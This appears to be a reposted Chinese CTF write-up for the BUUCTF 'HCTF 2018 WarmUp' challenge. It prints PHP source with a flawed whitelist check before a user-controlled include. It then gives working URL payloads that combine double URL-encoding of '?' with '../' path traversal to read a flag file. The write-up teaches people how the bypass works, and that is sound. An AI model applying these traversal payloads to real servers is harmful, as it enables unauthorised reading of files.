buuctf-[HCTF 2018]WarmUp1

F12发现希望我们查看source.php,查看源码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

分析代码,发现hint.php,打开后发现

因为flag在ffffllllaaaagggg中
为了读到ffffllllaaaagggg
可以加?file=source.php?/ffffllllaaaagggg

因为传入后服务器会自动解一次码
所以第二个问号要自己url加密一次
?file=source.php%3f/ffffllllaaaagggg

因为后来还会url解码一次
所以要对第二个问号还要加密一次
?file=source.php%253f/ffffllllaaaagggg

因为不知道ffffllllaaaagggg在哪个目录下,要进行目录穿越,返回上一级目录查看,用到../

?file=source.php%253f../../../../../ffffllllaaaagggg

注:一个../可能返回不到想要的文件,所以../尽量多一点

得到flag

猜你喜欢

转载自blog.csdn.net/m0_55754984/article/details/120447106